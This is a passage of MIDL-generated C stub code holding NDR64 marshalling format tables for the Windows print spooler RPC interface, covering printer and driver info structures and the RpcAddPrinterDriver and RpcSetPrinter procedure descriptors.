&__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag265\n    }\n};\n\nstatic const __midl_frag204_t __midl_frag204 =\n{ \n/* RPC_DRIVER_INFO_3 */\n    { \n    /* RPC_DRIVER_INFO_3 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_DRIVER_INFO_3 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 88 /* 0x58 */,\n        0,\n        0,\n        &__midl_frag216,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag203_t __midl_frag203 =\n{ \n/* *RPC_DRIVER_INFO_3 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag204\n};\n\nstatic const __midl_frag202_t __midl_frag202 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    }\n};\n\nstatic const __midl_frag196_t __midl_frag196 =\n{ \n/* DRIVER_INFO_2 */\n    { \n    /* DRIVER_INFO_2 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* DRIVER_INFO_2 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 48 /* 0x30 */,\n        0,\n        0,\n        &__midl_frag202,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag195_t __midl_frag195 =\n{ \n/* *DRIVER_INFO_2 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag196\n};\n\nstatic const __midl_frag190_t __midl_frag190 =\n{ \n/* __MIDL_winspool_0004 */\n    { \n    /* __MIDL_winspool_0004 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag598,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 6 /* 0x6 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag599,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag195,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag203,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 4 /* 0x4 */,\n        &__midl_frag217,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 6 /* 0x6 */,\n        &__midl_frag234,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 8 /* 0x8 */,\n        &__midl_frag255,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag189_t __midl_frag189 =\n{ \n/* DRIVER_CONTAINER */\n    { \n    /* DRIVER_CONTAINER */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* DRIVER_CONTAINER */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag190\n        },\n        { \n        /* DRIVER_CONTAINER */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag185_t __midl_frag185 =\n{ \n/* RpcAddPrinterDriver */\n    { \n    /* RpcAddPrinterDriver */      /* procedure RpcAddPrinterDriver */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag1080,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pDriverContainer */      /* parameter pDriverContainer */\n        &__midl_frag189,\n        { \n        /* pDriverContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag169_t __midl_frag169 =\n{ \n/* *PRINTER_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag109\n};\n\nstatic const __midl_frag167_t __midl_frag167 =\n{ \n/* RpcSetPrinter */\n    { \n    /* RpcSetPrinter */      /* procedure RpcSetPrinter */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag827,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pPrinterContainer */      /* parameter pPrinterContainer */\n        &__midl_frag109,\n        { \n        /* pPrinterContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pDevModeContainer */      /* parameter pDevModeContainer */\n        &__midl_frag156,\n        { \n        /* pDevModeContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pSecurityContainer */      /* parameter pSecurityContainer */\n        &__midl_frag156,\n        { \n        /* pSecurityContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* Command */      /* parameter Command */\n        &__midl_frag1082,\n        { \n        /* Command */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag160_t __midl_frag160 =\n{ \n/*  */\n    { \n    /* *BYTE */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag157\n    }\n};\n\nstatic const __midl_frag157_t __midl_frag157 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag598\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag656\n    }\n};\n\nstatic const __midl_frag156_t __midl_frag156 =\n{ \n/* SECURITY_CONTAINER */\n    { \n    /* SECURITY_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SECURITY_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag160,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag153_t __midl_frag153 =\n{ \n/* PRINTER_INFO_9 */\n    { \n    /* PRINTER_INFO_9 */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PRINTER_INFO_9 */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    }\n};\n\nstatic const __midl_frag152_t __midl_frag152 =\n{ \n/* *PRINTER_INFO_9 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag153\n};\n\nstatic const __midl_frag148_t __midl_frag148 =\n{ \n/* PRINTER_INFO_7 */\n    { \n    /* PRINTER_INFO_7 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PRINTER_INFO_7 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag147_t __midl_frag147 =\n{ \n/* *PRINTER_INFO_7 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag148\n};\n\nstatic const __midl_frag146_t __midl_frag146 =\n{ \n/* PRINTER_INFO_6 */\n    { \n    /* PRINTER_INFO_6 */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* PRINTER_INFO_6 */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 4 /* 0x4 */\n    }\n};\n\nstatic const __midl_frag145_t __midl_frag145 =\n{ \n/* *PRINTER_INFO_6 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag146\n};\n\nstatic const __midl_frag142_t __midl_frag142 =\n{ \n/* PRINTER_INFO_5 */\n    { \n    /* PRINTER_INFO_5 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PRINTER_INFO_5 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag141_t __midl_frag141 =\n{ \n/* *PRINTER_INFO_5 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag142\n};\n\nstatic const __midl_frag138_t __midl_frag138 =\n{ \n/* PRINTER_INFO_4 */\n    { \n    /* PRINTER_INFO_4 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PRINTER_INFO_4 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag387\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag137_t __midl_frag137 =\n{ \n/* *PRINTER_INFO_4 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag138\n};\n\nstatic const __midl_frag123_t __midl_frag123 =\n{ \n/* PRINTER_INFO_2 */\n    { \n    /* PRINTER_INFO_2 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PRINTER_INFO_2 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 136 /* 0x88 */\n    },\n    { \n    /*  */\n        { \n 